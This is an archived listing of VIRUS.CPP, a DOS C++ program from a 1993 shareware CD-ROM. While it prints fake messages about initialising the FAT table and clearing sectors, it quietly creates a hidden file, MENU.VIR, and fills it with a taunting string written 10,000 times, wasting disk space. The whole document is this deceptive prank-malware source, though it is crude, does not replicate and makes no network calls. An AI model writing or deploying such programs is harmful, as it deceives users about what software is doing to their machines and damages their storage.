home *** CD-ROM | disk | FTP | other *** search
/ Shareware Super Platinum 8 / Shareware Super Platinum 8.iso / mac / PROGTOOL / VIR.ZIP;1 / VIRUS.CPP
Encoding:
C/C++ Source or Header  |  1993-03-12  |  1.1 KB  |  30 lines

  1. #include <iostream.h>
  2. #include <dos.h>
  3. #include <string.h>
  4. #include <stdio.h>
  5. #include <fcntl.h>
  6.  
  7. int main(void)
  8. {
  9.   unsigned count;
  10.   int handle;
  11.   char buf[10000] = "Your A Sucker!!!!                                                                                                                                                                                                                                                                                                                                                                                                                                                      ";
  12.   unsigned counter=0;
  13. //  char filename[10] = "menu.vir";
  14.  cout << "Initalizing FAT Table....\n";
  15.    _dos_creat("MENU.VIR", FA_HIDDEN, &handle);
  16.    sleep(1);
  17.  cout << "Clearing Un-Used Sectors....\nThis May Take A Few Minutes....\n";
  18.  sleep(5);
  19.  while (counter != 10000)
  20. {
  21.   _dos_write(handle, buf, strlen(buf), &count);
  22.   cout << counter << "\t";
  23.   ++counter;
  24. }
  25.    _dos_close(handle);
  26. //   _dos_setfileattr(filename, FA_HIDDEN);
  27.  return 0;
  28. }
  29.  
  30.